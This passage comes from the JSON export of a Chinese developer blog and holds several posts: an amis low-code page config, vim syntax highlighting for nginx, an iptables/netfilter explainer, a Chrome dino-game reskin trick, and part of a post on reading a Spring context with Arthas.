\u0026#34;form\u0026#34;, 172 \u0026#34;api\u0026#34;: \u0026#34;/xxx/bacth-edit\u0026#34;, 173 \u0026#34;body\u0026#34;: [ 174 { 175 \u0026#34;label\u0026#34;: \u0026#34;字段 1\u0026#34;, 176 \u0026#34;text\u0026#34;: \u0026#34;字段 1\u0026#34;, 177 \u0026#34;type\u0026#34;: \u0026#34;input-text\u0026#34; 178 } 179 ] 180 } 181 } 182 } 183 ], 184 \u0026#34;itemActions\u0026#34;: [ 185 { 186 \u0026#34;label\u0026#34;: \u0026#34;按钮\u0026#34;, 187 \u0026#34;type\u0026#34;: \u0026#34;button\u0026#34;, 188 \u0026#34;hiddenOnHover\u0026#34;: true 189 } 190 ], 191 \u0026#34;features\u0026#34;: [ 192 \u0026#34;create\u0026#34;, 193 \u0026#34;filter\u0026#34;, 194 \u0026#34;bulkDelete\u0026#34;, 195 \u0026#34;bulkUpdate\u0026#34;, 196 \u0026#34;update\u0026#34;, 197 \u0026#34;view\u0026#34;, 198 \u0026#34;delete\u0026#34; 199 ], 200 \u0026#34;headerToolbar\u0026#34;: [ 201 { 202 \u0026#34;label\u0026#34;: \u0026#34;新增\u0026#34;, 203 \u0026#34;type\u0026#34;: \u0026#34;button\u0026#34;, 204 \u0026#34;actionType\u0026#34;: \u0026#34;dialog\u0026#34;, 205 \u0026#34;dialog\u0026#34;: { 206 \u0026#34;title\u0026#34;: \u0026#34;新增\u0026#34;, 207 \u0026#34;body\u0026#34;: { 208 \u0026#34;type\u0026#34;: \u0026#34;form\u0026#34;, 209 \u0026#34;api\u0026#34;: \u0026#34;xxx/create\u0026#34;, 210 \u0026#34;body\u0026#34;: [ 211 { 212 \u0026#34;label\u0026#34;: \u0026#34;字段 1\u0026#34;, 213 \u0026#34;text\u0026#34;: \u0026#34;字段 1\u0026#34;, 214 \u0026#34;type\u0026#34;: \u0026#34;input-text\u0026#34; 215 } 216 ] 217 } 218 } 219 }, 220 { 221 \u0026#34;type\u0026#34;: \u0026#34;bulk-actions\u0026#34; 222 }, 223 { 224 \u0026#34;type\u0026#34;: \u0026#34;pagination\u0026#34; 225 }, 226 { 227 \u0026#34;type\u0026#34;: \u0026#34;statistics\u0026#34;, 228 \u0026#34;tpl\u0026#34;: \u0026#34;内容\u0026#34; 229 }, 230 { 231 \u0026#34;type\u0026#34;: \u0026#34;load-more\u0026#34;, 232 \u0026#34;tpl\u0026#34;: \u0026#34;内容\u0026#34; 233 }, 234 { 235 \u0026#34;type\u0026#34;: \u0026#34;export-excel\u0026#34;, 236 \u0026#34;tpl\u0026#34;: \u0026#34;内容\u0026#34; 237 } 238 ], 239 \u0026#34;filter\u0026#34;: { 240 \u0026#34;title\u0026#34;: \u0026#34;查询条件\u0026#34;, 241 \u0026#34;body\u0026#34;: [ 242 { 243 \u0026#34;type\u0026#34;: \u0026#34;input-text\u0026#34;, 244 \u0026#34;name\u0026#34;: \u0026#34;keywords\u0026#34;, 245 \u0026#34;label\u0026#34;: \u0026#34;关键字\u0026#34; 246 } 247 ], 248 \u0026#34;autoFocus\u0026#34;: true 249 }, 250 \u0026#34;perPageAvailable\u0026#34;: [ 251 1 252 ], 253 \u0026#34;messages\u0026#34;: {}, 254 \u0026#34;keepItemSelectionOnPageChange\u0026#34;: true, 255 \u0026#34;primaryField\u0026#34;: \u0026#34;id\u0026#34;, 256 \u0026#34;labelTpl\u0026#34;: \u0026#34;${name}\u0026#34;, 257 \u0026#34;draggable\u0026#34;: true, 258 \u0026#34;footable\u0026#34;: { 259 \u0026#34;expand\u0026#34;: \u0026#34;all\u0026#34; 260 }, 261 \u0026#34;title\u0026#34;: \u0026#34;demo 表格\u0026#34;, 262 \u0026#34;mode\u0026#34;: \u0026#34;table\u0026#34;, 263 \u0026#34;columns\u0026#34;: [ 264 { 265 \u0026#34;name\u0026#34;: \u0026#34;id\u0026#34;, 266 \u0026#34;label\u0026#34;: \u0026#34;ID\u0026#34;, 267 \u0026#34;type\u0026#34;: \u0026#34;text\u0026#34;, 268 \u0026#34;placeholder\u0026#34;: \u0026#34;-\u0026#34;, 269 \u0026#34;sortable\u0026#34;: true, 270 \u0026#34;fixed\u0026#34;: \u0026#34;\u0026#34; 271 }, 272 { 273 \u0026#34;name\u0026#34;: \u0026#34;name\u0026#34;, 274 \u0026#34;label\u0026#34;: \u0026#34;name\u0026#34;, 275 \u0026#34;type\u0026#34;: \u0026#34;text\u0026#34;, 276 \u0026#34;placeholder\u0026#34;: \u0026#34;-\u0026#34; 277 }, 278 { 279 \u0026#34;type\u0026#34;: \u0026#34;operation\u0026#34;, 280 \u0026#34;label\u0026#34;: \u0026#34;操作\u0026#34;, 281 \u0026#34;buttons\u0026#34;: [ 282 { 283 \u0026#34;label\u0026#34;: \u0026#34;编辑\u0026#34;, 284 \u0026#34;type\u0026#34;: \u0026#34;button\u0026#34;, 285 \u0026#34;actionType\u0026#34;: \u0026#34;dialog\u0026#34;, 286 \u0026#34;level\u0026#34;: \u0026#34;link\u0026#34;, 287 \u0026#34;dialog\u0026#34;: { 288 \u0026#34;title\u0026#34;: \u0026#34;编辑\u0026#34;, 289 \u0026#34;body\u0026#34;: { 290 \u0026#34;type\u0026#34;: \u0026#34;form\u0026#34;, 291 \u0026#34;api\u0026#34;: \u0026#34;xxx/update\u0026#34;, 292 \u0026#34;body\u0026#34;: [ 293 { 294 \u0026#34;name\u0026#34;: \u0026#34;id\u0026#34;, 295 \u0026#34;label\u0026#34;: \u0026#34;ID\u0026#34;, 296 \u0026#34;type\u0026#34;: \u0026#34;input-text\u0026#34; 297 }, 298 { 299 \u0026#34;name\u0026#34;: \u0026#34;engine\u0026#34;, 300 \u0026#34;label\u0026#34;: \u0026#34;渲染引擎\u0026#34;, 301 \u0026#34;type\u0026#34;: \u0026#34;input-text\u0026#34; 302 } 303 ] 304 } 305 } 306 }, 307 { 308 \u0026#34;label\u0026#34;: \u0026#34;查看\u0026#34;, 309 \u0026#34;type\u0026#34;: \u0026#34;button\u0026#34;, 310 \u0026#34;actionType\u0026#34;: \u0026#34;dialog\u0026#34;, 311 \u0026#34;level\u0026#34;: \u0026#34;link\u0026#34;, 312 \u0026#34;dialog\u0026#34;: { 313 \u0026#34;title\u0026#34;: \u0026#34;查看详情\u0026#34;, 314 \u0026#34;body\u0026#34;: { 315 \u0026#34;type\u0026#34;: \u0026#34;form\u0026#34;, 316 \u0026#34;body\u0026#34;: [ 317 { 318 \u0026#34;name\u0026#34;: \u0026#34;id\u0026#34;, 319 \u0026#34;label\u0026#34;: \u0026#34;ID\u0026#34;, 320 \u0026#34;type\u0026#34;: \u0026#34;input-text\u0026#34; 321 }, 322 { 323 \u0026#34;name\u0026#34;: \u0026#34;engine\u0026#34;, 324 \u0026#34;label\u0026#34;: \u0026#34;渲染引擎\u0026#34;, 325 \u0026#34;type\u0026#34;: \u0026#34;input-text\u0026#34; 326 } 327 ] 328 } 329 } 330 }, 331 { 332 \u0026#34;type\u0026#34;: \u0026#34;button\u0026#34;, 333 \u0026#34;label\u0026#34;: \u0026#34;删除\u0026#34;, 334 \u0026#34;actionType\u0026#34;: \u0026#34;ajax\u0026#34;, 335 \u0026#34;level\u0026#34;: \u0026#34;link\u0026#34;, 336 \u0026#34;className\u0026#34;: \u0026#34;text-danger\u0026#34;, 337 \u0026#34;confirmText\u0026#34;: \u0026#34;确定要删除？\u0026#34;, 338 \u0026#34;api\u0026#34;: \u0026#34;/xxx/delete\u0026#34; 339 } 340 ] 341 } 342 ], 343 \u0026#34;footerToolbar\u0026#34;: [ 344 { 345 \u0026#34;type\u0026#34;: \u0026#34;load-more\u0026#34; 346 }, 347 { 348 \u0026#34;type\u0026#34;: \u0026#34;pagination\u0026#34; 349 } 350 ], 351 \u0026#34;alwaysShowPagination\u0026#34;: true, 352 \u0026#34;filterTogglable\u0026#34;: false, 353 \u0026#34;perPage\u0026#34;: 6, 354 \u0026#34;checkOnItemClick\u0026#34;: true, 355 \u0026#34;initFetch\u0026#34;: true, 356 \u0026#34;quickSaveApi\u0026#34;: \u0026#34;\u0026#34; 357 } 358 ], 359 \u0026#34;messages\u0026#34;: {}, 360 \u0026#34;name\u0026#34;: \u0026#34;demo\u0026#34;, 361 \u0026#34;subTitle\u0026#34;: \u0026#34;这是副标题\u0026#34;, 362 \u0026#34;remark\u0026#34;: \u0026#34;这是一个提示\u0026#34;, 363 \u0026#34;aside\u0026#34;: [] 364 } 看起来很长对吧，但都是用 editor 自动生成的\n最终 html 页面是这样，一模一样\n可以看到页面上有个表格，那么数据是从哪儿来的呢？我是利用 yapi 先定义好接口契约，然后通过 yapi mock 出来的，当然 mock 规则你可以自定义\n接下来我只需要把后端接口真正实现（java、python、go 随你），然后把 API 地址重新配置好就可以了，一个复杂的功能前端通过 editor，后端自己实现，中间契约用 yapi，实现起来是非常快的。(后端自己 solo 吧 😁 )\n剩下的就是还有很多 editor 的细节，以及 amis 的细节可能要通过文档+实践总结+案例来摸索了，但整体看学习成本并不高。对开发非常友好。\n参考 https://baidu.gitee.io/amis/zh-CN/docs/index ","date":"2021-09-08T08:56:25Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-08-lowcode-di-dai-ma-qian-duan-kuang-jia-amis-diao-yan/cover.jpg","permalink":"/p/2021-09-08-lowcode-di-dai-ma-qian-duan-kuang-jia-amis-diao-yan/","title":"lowcode 低代码前端框架 amis 调研"},{"content":" 当你使用 vim 编辑器编辑 nginx 的配置文件时，vim 编辑器是无法自动识别出 nginx 的相关语法的。\n所以，使用 vim 编辑器编辑 nginx 配置文件时，无法实现”语法高亮”功能，也就是说，默认情况下，使用 vim 编辑 nginx 配置文件时，没有彩色的语法着色。\n对于使用者来说，这样体验不好，nginx 官方很贴心，在源码包中为我们提供了 vim 针对 nginx 的语法高亮配置文件，我们只要把这些文件拷贝到 vim 的对应目录中即可直接使用，方法很简单\n如下：\n1 2# wget http://nginx.org/download/nginx-1.14.2.tar.gz 3# tar -xf nginx-1.14.2.tar.gz 4 5进入到源码包解压目录 6# cd nginx-1.14.2/ 7将相应的语法文件拷贝到对应的目录中，即可完成 8# cp -r contrib/vim/* /usr/share/vim/vimfiles/ 参考：https://www.zsythink.net/archives/3091\n","date":"2021-09-06T07:33:47Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-06-vim-pei-zhi-nginx-yu-fa-gao-liang/cover.jpg","permalink":"/p/2021-09-06-vim-pei-zhi-nginx-yu-fa-gao-liang/","title":"vim 配置 nginx 语法高亮"},{"content":"基本概念 iptables 是什么？ 在 netfilter 的 官网 找到的如下解释：\n“\niptables is the userspace command line program used to configure the Linux 2.4.x and later packet filtering ruleset. It is targeted towards system administrators.\nSince Network Address Translation is also configured from the packet filter ruleset, iptables is used for this, too.\nThe iptables package also includes ip6tables. ip6tables is used for configuring the IPv6 packet filter.\n”\niptables 是用于配置 Linux 2.4.x 及更高版本包过滤规则集的用户空间命令行程序。它针对系统管理员。 由于网络地址转换 (NAT) 也是从包过滤规则集配置的，iptables 也用于此。 iptables 包还包括 ip6tables。ip6tables 用于配置 IPv6 包过滤器。 iptables 源码地址：https://git.netfilter.org/iptables\nnetfilter 是什么？ 来自维基百科的解释：\n“\nnetfilter，在 Linux 内核中的一个软件框架，用于管理网络数据包。不仅具有网络地址转换（NAT）的功能，也具备数据包内容修改、以及数据包过滤等防火墙功能。利用运作于用户空间的应用软件，如 iptables、nftables、ebtables 和 arptables 等，来控制 netfilter，系统管理者可以管理通过 Linux 操作系统的各种网络数据包。1990 年代，netfilter 在 Linux 2.3.15 版时进入 Linux 内核，正式应用于 Linux 2.4 版。\n”\nnetfilter 的主要功能包括：\n网络地址转换 (Network Address Translate) 数据包内容修改 以及数据包过滤的防火墙功能 linux 的绝大多数功能都是以模块的形式扩充出来的，netfilter 也是以模块的形式存在于 linux 中，当 linux 多了一个 netfilter 模块，linux 防火墙功能也就多了一项。\nnetfilter 本身并不对数据包进行过滤，它只是允许过滤的数据包的函数挂接到内核中合适的位置。netfilter 项目在内核中还提供了一些基础设施，比如链接跟踪和日志记录，任何 iptables 策略都可以使用这些设施来执行特定数据包的处理。\nnetfilter 模块存放的目录：\n/lib/modules/\u0026lt;uname -r\u0026gt;/kernel/net/ipv4/netfilter/\n/lib/modules/\u0026lt;uname -r\u0026gt;/kernel/net/ipv6/netfilter/\n不仅是 netfilter 有模块，iptables 也有模块，这些模块就位于/lib64/xtables/(32bit 系统在/lib/xtables/) 目录下，其中以 libxt 开头的是 iptables 模块，这些模块与 netfilter 模块是一一相对应的。例如/lib/modules/\u0026lt;uname -r\u0026gt;/kernel/net/netfilter/xt_conntrack.ko模块，在/lib64/xtables/libxt_conntrack.so与之相对应。当下达与 xt_conntrack.ko 相关的指令时，iptables 会根据 libxt_conntrack.so 模块的指示去检查语法是否正确。并将 netfilter 相应模块载入到系统内存，iptables 最后将规则写入到规则数据库中。\nnetfilter 和 iptables 是什么关系？ 在很多场景下，大家用 iptabes 配置防火墙规则，而实际上 iptables 其实不是真正的防火墙，我们可以把它理解成一个客户端代理，用户通过 iptables 这个代理，将用户的安全设定执行到对应的”安全框架”中，这个”安全框架”才是真正的防火墙，这个框架的名字叫 netfilter\nnetfilter 才是防火墙真正的安全框架（framework），netfilter 位于内核空间。\niptables 其实是一个命令行工具，位于用户空间，我们用这个工具操作真正的框架。\niptables 基础概念 链 iptables 在普遍的应用场景中被用作配置防火墙，如果我们想要防火墙能够达到”防火”的目的，则需要在内核中设置关卡，所有进出的报文都要通过这些关卡，经过检查后，符合放行条件的才能放行，符合阻拦条件的则需要被阻止，于是，就出现了 input 关卡和 output 关卡，但是，这个关卡上可能不止有一条规则，而是有很多条规则，当我们把这些规则串到一个链条上的时候，就形成了”链”。\n总结下 5 链：\nPREROUTING 数据包刚进入网络层 , 路由之前 INPUT 路由判断，流入用户空间 OUTPUT 用户空间发出，后接路由判断出口的网络接口 FORWARD 路由判断不进入用户空间，只进行转发 POSTROUTING 数据包通过网络接口出去 根据实际情况的不同，报文经过”链”可能不同。如果报文需要转发，那么报文则不会经过 input 链发往用户空间，而是直接在内核空间中经过 forward 链和 postrouting 链转发出去的。\n所以，根据上图，我们能够想象出某些常用场景中，报文的流向：\n到本机某进程的报文：PREROUTING –\u0026gt; INPUT\n由本机转发的报文：PREROUTING –\u0026gt; FORWARD –\u0026gt; POSTROUTING\n由本机的某进程发出报文（通常为响应报文）：OUTPUT –\u0026gt; POSTROUTING\n每个经过这个”关卡”的报文，都要将这条”链”上的所有规则匹配一遍，如果有符合条件的规则，则执行规则对应的动作。\n表 为什么称为 ip\u0026quot;tables\u0026quot; 呢？因为这个防火墙软件里面有多个表格 (table) ，每个表格都定义出自己的默认政策与规则， 且每个表格的用途都不相同。每个“表”指的是不同类型的数据包处理流程。\n预设的情况下，Linux 的 iptables 至少就有三个表。\n表链关系 每个”链”上都放置了一串规则，但是这些规则有些很相似，比如，A 类规则都是对 IP 或者端口的过滤，B 类规则是修改报文。我们是不是能把实现相同功能的规则放在一起呢？可以的，我们把具有相同功能的规则的组成一个集合，也就是上文说的“表”。\niptables 为我们提供了如下规则的分类，或者说，iptables 为我们提供了如下”表”\nfilter 表：负责过滤功能，防火墙；内核模块：iptables_filter\nnat 表：network address translation，网络地址转换功能；内核模块：iptable_nat\nmangle 表：拆解报文，做出修改，并重新封装 的功能；iptable_mangle\nraw 表：关闭 nat 表上启用的连接追踪机制；iptable_raw\n我们自定义的所有规则，都是这四种分类中的规则，或者说，所有规则都存在于这 4 张”表”中\n具体来说：\n链 表 PREROUTING 的规则可以存在于 raw 表，mangle 表，nat 表。 INPUT 的规则可以存在于 mangle 表，filter 表，（centos7 中还有 nat 表，centos6 中没有） FORWARD 的规则可以存在于 mangle 表，filter 表。 OUTPUT 的规则可以存在于 raw 表 mangle 表，nat 表，filter 表。 POSTROUTING 的规则可以存在于 mangle 表，nat 表。 我们在实际的使用过程中，往往是通过”表”作为操作入口，对规则进行定义的，之所以按照上述过程介绍 iptables，是因为从”关卡”的角度更容易从入门的角度理解，但是为了以便在实际使用的时候，更加顺畅的理解它们，此处我们还要将各”表”与”链”的关系罗列出来：\n表（功能） 链（钩子）： raw 表中的规则可以被哪些链使用：PREROUTING，OUTPUT mangle 表中的规则可以被哪些链使用：PREROUTING，INPUT，FORWARD，OUTPUT，POSTROUTING nat 表中的规则可以被哪些链使用：PREROUTING，OUTPUT，POSTROUTING（centos7 中还有 INPUT，centos6 中没有） filter 表中的规则可以被哪些链使用：INPUT，FORWARD，OUTPUT 优先级 数据包经过一个”链”的时候，会将当前链的所有规则都匹配一遍，但是匹配时总归要有顺序，我们应该一条一条的去匹配，而且相同功能类型的规则会汇聚在一张”表”中，哪些”表”中的规则会放在”链”的最前面执行呢？这时候就需要有一个优先级的问题\n优先级次序（由高而低）：\nraw –\u0026gt; mangle –\u0026gt; nat –\u0026gt; filter\n数据经过防火墙的流程 规则 规则：根据指定的匹配条件来尝试匹配每个流经此处的报文，一旦匹配成功，则由规则后面指定的处理动作进行处理；\n规则由匹配条件和处理动作组成。\n匹配条件\n匹配条件分为基本匹配条件与扩展匹配条件\n基本匹配条件：源地址 Source IP，目标地址 Destination IP 上述内容都可以作为基本匹配条件。 扩展匹配条件：除了上述的条件可以用于匹配，还有很多其他的条件可以用于匹配，这些条件泛称为扩展条件，这些扩展条件其实也是 netfilter 中的一部分，只是以模块的形式存在，如果想要使用这些条件，则需要依赖对应的扩展模块。源端口 Source Port, 目标端口 Destination Port 可以作为扩展匹配条件 处理动作\n处理动作在 iptables 中被称为 target（这样说并不准确，我们暂且这样称呼），动作也可以分为基本动作和扩展动作。此处列出一些常用的动作，之后的文章会对它们进行详细的示例与总结：\nACCEPT：允许数据包通过。 DROP：直接丢弃数据包，不给任何回应信息，这时候客户端会感觉自己的请求泥牛入海了，过了超时时间才会有反应。 REJECT：拒绝数据包通过，必要时会给数据发送端一个响应的信息，客户端刚请求就会收到拒绝的信息。 SNAT：源地址转换，解决内网用户用同一个公网地址上网的问题。 MASQUERADE：是 SNAT 的一种特殊形式，适用于动态的、临时会变的 ip 上。 DNAT：目标地址转换。 REDIRECT：在本机做端口映射。 LOG：在/var/log/messages 文件中记录日志信息，然后将数据包传递给下一条规则，也就是说除了记录以外不对数据包做任何其他操作，仍然让下一条规则去匹配。 DROP 和 REJECT 的区别：DROP 是直接把匹配到的报文丢弃，REJECT 除了把报文丢弃还会给该报文中的源 IP 发一个 ICMP 报文说明目的不可达（直接回复不可达，更强硬）。前者报文发送方只能等超时，而后者发送方因为收到了 ICMP 不可达所以马上就给出了提示。\n参考 https://www.zsythink.net/archives/1199 https://borosan.gitbook.io/lpic2-exam-guide/2121-configuring-a-router http://cn.linux.vbird.org/linux_server/0250simple_firewall_3.php https://www.xiebruce.top/1071.html http://kuring.me/post/iptables/ ","date":"2021-09-01T10:00:28Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-09-01-ba-yi-xia-yi-zhi-bu-qiu-shen-jie-de-iptables/cover.jpg","permalink":"/p/2021-09-01-ba-yi-xia-yi-zhi-bu-qiu-shen-jie-de-iptables/","title":"扒一下一直不求甚解的 iptables"},{"content":"在线也能玩儿 很多朋友都玩儿过 chrome 浏览器在断网情况下的小恐龙游戏\n其实它也可以在有网的情况下玩儿\n在浏览器的地址栏输入 chrome://dino 并回车就可以了\n而且它还会自动放大，更适合在浏览器玩儿\n替换小恐龙为其他角色 第一步 打开浏览器在地址栏输入 chrome://dino 并回车\n第二步 F12 打开控制台，找到 id 为 offline-resources 的 div 标签，在里面找到 id 为 offline-resources-1x 的 img 标签中的 src。\n复制出 src 内的内容，粘贴到浏览器地址栏中，可以看到如下图片：\n最后面那 8 只恐龙就是我们在界面上看到的内容，也就是要修改替换的对象。\n8 只恐龙所代表的动作是\n一、二张是跳起来的动作 三、四张是走路的动作 五、六张是死掉的动作 七、八是蹲下时的动作 第三步 我们从这个网站 https://www.spriters-resource.com/ 找一些角色图片来当替换资源用，里面有很多熟悉的角色，比如马利奥\n第四步 我们将找到的资源图片和原始的小恐龙游戏图片全部下载下来，然后用 PS 进行操作替换（PS 不熟悉的可以找熟悉 PS 的小伙伴帮忙，我找的是我老婆，哈哈）\n最后的成品大概是这样：\n最后一步 将编辑好的图片导出为 PNG 格式，然后上传个图床（只要能通过网络访问到就行）\n回到浏览器，地址栏输入 chrome://dino/ 打开小恐龙，F12 找到我们刚才找过的 id 为 offline-resources-1x 的 img 标签中的 src，将地址内容替换为我们在图床上的地址\n再重新运行游戏，小恐龙就变成马利奥了\nChrome 插件 如果你很懒，想直接上手玩儿，也可以安装 Chrome 插件，有网友已经做好了现成的\nhttps://github.com/superj80820/chrome-dino-cosplay\n","date":"2021-08-27T07:58:36Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-08-27-chrome-liu-lan-qi-xiao-kong-long-you-xi-bian-shen-chao-ji-ma/cover.jpg","permalink":"/p/2021-08-27-chrome-liu-lan-qi-xiao-kong-long-you-xi-bian-shen-chao-ji-ma/","title":"Chrome 浏览器小恐龙游戏变身超级马利奥"},{"content":"[\n配置 arthas 实现远程线上 debug\n2021-08-03\n](http://mp.weixin.qq.com/s?__biz=MzI3Njk5ODg4OQ==\u0026mid=2247485202\u0026idx=1\u0026sn=4fbe36afe107a828a936b2fb5e6c0d45\u0026chksm=eb6db894dc1a31820d179afe3bf6516fe2997d3ca2c7af43e22f0c57df91677b6b1dcd029db5\u0026scene=21#wechat_redirect)[\narthas idea 插件的基本玩法（常用）\n2021-08-03\n](http://mp.weixin.qq.com/s?__biz=MzI3Njk5ODg4OQ==\u0026mid=2247485202\u0026idx=2\u0026sn=fa2d85e2101ec3867c5be995f49ffe47\u0026chksm=eb6db894dc1a318233ac598187923d5e8f61f62de3bcc43450845a192571140afb00c2762305\u0026scene=21#wechat_redirect)\n获取 spring context 然后为所欲为？ 执行 tt 命令来记录 RequestMappingHandlerAdapter#invokeHandlerMethod 的请求\n1tt -t org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter invokeHandlerMethod 请求以后将看到\n1[arthas@38341]$ tt -t org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter invokeHandlerMethod 2Press Q or Ctrl+C to abort. 3Affect(class count: 1 , method count: 1) cost in 60 ms, listenerId: 2 4 INDEX TIMESTAMP COST(ms) IS-RET IS-EXP OBJECT CLASS METHOD 5-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 6 1000 2021-08-03 15:34:31 473.709743 true false 0x545d772e RequestMappingHandlerAdapter invokeHandlerMethod 可以用 tt 命令的 -i 参数来指定 index，并且用 -w 参数来执行 ognl 表达式来获取 spring context ：\n1[arthas@38341]$ tt -i 1000 -w \u0026#39;target.getApplicationContext()\u0026#39; 2@AnnotationConfigServletWebServerApplicationContext[ 3 reader=@AnnotatedBeanDefinitionReader[org.springframework.context.annotation.AnnotatedBeanDefinitionReader@28aa9b60], 4 scanner=@ClassPathBeanDefinitionScanner[org.springframework.context.annotation.ClassPathBeanDefinitionScanner@1c138ae], 5 annotatedClasses=@LinkedHashSet[isEmpty=true;size=0], 6 basePackages=null, 7 logger=@SLF4JLocationAwareLog[org.apache.commons.logging.impl.SLF4JLocationAwareLog@450746b3], 8 DISPATCHER_SERVLET_NAME=@String[dispatcherServlet], 9 webServer=@TomcatWebServer[org.springframework.boot.web.embedded.tomcat.TomcatWebServer@c5697fe], 10 servletConfig=null, 11 serverNamespace=null, 12 servletContext=@ApplicationContextFacade[org.apache.catalina.core.ApplicationContextFacade@705b6c8f], 13 themeSource=@ResourceBundleThemeSource[org.springframework.ui.context.support.ResourceBundleThemeSource@78d73e62], 14 beanFactory=@DefaultListableBeanFactory[org.springframework.beans.factory.support.DefaultListableBeanFactory@4277127c: defining beans [org.springframework.context.annotatio 15n.internalConfigurationAnnotationProcessor,org.springframework.context.annotation.internalAutowiredAnnotationProcessor,org.springframework.context.annotation.internalCommonAnno 16tationProcessor,org.springframework.context.event.internalEventListenerProcessor,org.springframework.context.event.internalEventListenerFactory,mealBootstrapApplication,bootstr 17apApplicationListener.BootstrapMarkerConfiguration,org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory,glRocketMQConfig,globalConfig,mybatisPlusConfig,o 18kHttpConfiguration,mealQueryBaseDataController,mealAppBannerController,appOrderController,mealBannerController,mealReturnCouponsTipsController,appletsOrderController,h5OrderCon 19troller,thirdNoticeController,aliPayNoticeController,payController,wxPayNoticeController,mealGoodsExclusivePricePcController,mealManagerController,mealOrderManagerController,ba 20seServiceClient,fileServiceClient,userCenterClient,mealGlobalConfigServiceImpl,mealGoodsCostServiceImpl,mealGoodsCostTableServiceImpl,mealGoodsExclusivePriceServiceImpl,mealBan 21nerServiceImpl,mealManagerPcServiceImpl,mealOrderManagerPcServiceImpl,mealQueryBaseDataServiceImpl,mealReturnCouponsTipsServiceImpl,internalOrderMq,glCompensationFuncTM,glRocke 22tMQLocalTM,orderPayResultServiceImpl,orderServiceImpl,orderJobServiceImpl,aliPayConfig,wxAppPayProperties,wxPayConfiguration,aliAppletCyPayServiceImpl,aliPayServiceImpl,mealPay 23FlowServiceImpl,payProfitSharingFlowServiceImpl,payResultServiceImpl,weChatPayServiceImpl,payFlowHandler,payJobServiceImpl,refundServiceImpl,couponsUtil,idUtils,thirdConfig,goo 24dsSyncServiceImpl,okHttpUtil,reqUtil,syncGoodsTaskHandler,costTableHandler,mealOrderHandler,payHandler,statisticTaskHandler,globalExceptionHandler,springWebMvcConfiguration,asy 25ncUtils,feignHystrixConcurrencyStrategy,springSecurityConfiguration,authenticationCustomizeEntryPoint,authAccessDeniedHandler,RBACService,memberExtraInfoClientFallback,memberIn 26foClientFallback,memberRiskClientFallback,memberWalletClientFallback,memberWalletFlowClientFallback,riskEventClientFallback,userCenterMemberInfoClientFallback,userCenterOperato 27rClientFallback,constants,utils,captchaClientFallback,channelIsolationClientFallback,channelPriorityClientFallback,complexMessageClientFallback,JPushClientFallback,messageFeish 28uBotClientFallback,messageFeiShuBotClientV2Fallback,stationLetterClientFallback,idGenerateClientFallback,couponClientFallBack,couponManagerClientFallBack,couponMemberClientFall 29Back,normalFileClientFallback,transactionAutoConfiguration,webAutoConfiguration,authAutoConfiguration,cacheAutoConfiguration,transactionMQProducer,defaultMQPushConsumer,enumCus 30tomizer,paginationInterceptor,okHttpClient,x509TrustManager,sslSocketFactory,pool,aliAppPayProperties,aliAppletPayProperties,appAlipayClient,appletAlipayClient,wxAppletPayServi 31ce,wxAppPayService,org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor,org.springframework.boot.context.internalConfigurationPropertiesBinde 32rFactory,org.springframework.boot.context.internalConfigurationPropertiesBinder,org.springframework.boot.context.properties.BoundConfigurationProperties,org.springframework.boo 33t.context.properties.ConfigurationPropertiesBeanDefinitionValidator,org.springframework.boot.context.properties.ConfigurationBeanFactoryMetadata,wx.applet.pay-com.demo.meal.se 34rvice.pay.config.WxAppletPayProperties,errorPageRegistrar,corsFilterRegistrationBean,org.springframework.security.config.annotation.configuration.ObjectPostProcessorConfigurati 35on,objectPostProcessor,org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration,authenticationManagerBuilder,enableGlobalAuthenti 36cationAutowiredConfigurer,initializeUserDetailsBeanManagerConfigurer,initializeAuthenticationProviderBeanManagerConfigurer,org.springframework.security.config.annotation.web.co 37nfiguration.WebSecurityConfiguration,delegatingApplicationListener,webSecurityExpressionHandler,springSecurityFilterChain,privilegeEvaluator,conversionServicePostProcessor,auto 38wiredWebSecurityConfigurersIgnoreParents,org.springframework.security.config.annotation.web.configuration.WebMvcSecurityConfiguration,requestDataValueProcessor,org.springframew 39ork.scheduling.annotation.SchedulingConfiguration,org.springframework.context.annotation.internalScheduledAnnotationProcessor,org.springframework.boot.autoconfigure.AutoConfigu 40rationPackages,com.demo.MealBootstrapApplication#MapperScannerRegistrar#0,default.com.demo.MealBootstrapApplication.FeignClientSpecification,memberExtraInfoClient.FeignClient 41Specification,com.demo.user.common.client.MemberExtraInfoClient,MemberInfoClient.FeignClientSpecification,com.demo.user.common.client.MemberInfoClient,MemberRiskClient.FeignC 42lientSpecification,com.demo.user.common.client.MemberRiskClient,MemberWalletClient.FeignClientSpecification,com.demo.user.common.client.MemberWalletClient,memberWalletFlowCli 43ent.FeignClientSpecification,com.demo.user.common.client.MemberWalletFlowClient,riskEventClient.FeignClientSpecification,com.demo.user.common.client.RiskEventClient,userCenterMemberInfoClient.FeignClientSpecification,com.demo.user.common.client.UserCenterMemberInfoClient,userCenterOperatorClient.FeignClientSpecification,com.demo.user.common.client.UserCenterOperatorClient,captchaClient.FeignClientSpecification,com.demo.message.rest.CaptchaClient,channelIsolationClient.FeignClientSpecification,com.demo.message.rest.ChannelIsolationClient,channelPriorityClient.FeignClientSpecification,com.demo.message.rest.ChannelPriorityClient,complexMessageClient.FeignClientSpecification,com.demo.message.rest.ComplexMessageClient,jPushClient.FeignClientSpecification,com.demo.message.rest.JPushClient,messageFeishuBotClient.FeignClientSpecification,com.demo.message.rest.MessageFeishuBotClient,messageFeiShuBotClientV2.FeignClientSpecification,com.demo.message.rest.MessageFeiShuBotClientV2,stationLetterClient.FeignClientSpecification,com.demo.message.rest.StationLetterClient,idGenerateClient.FeignClientSpecification,com.demo.id.client.IdGenerateClient,couponClient.FeignClientSpecification,com.demo.marketing.client.coupon.CouponClient,couponManagerClient.FeignClientSpecification,com.demo.marketing.client.coupon.CouponManagerClient,couponMemberClient.FeignClientSpecification,com.demo.marketing.client.coupon.CouponMemberClient,normalFileClient.FeignClientSpecification,c], 44 resourceLoader=null, 45 customClassLoader=@Boolean[false], 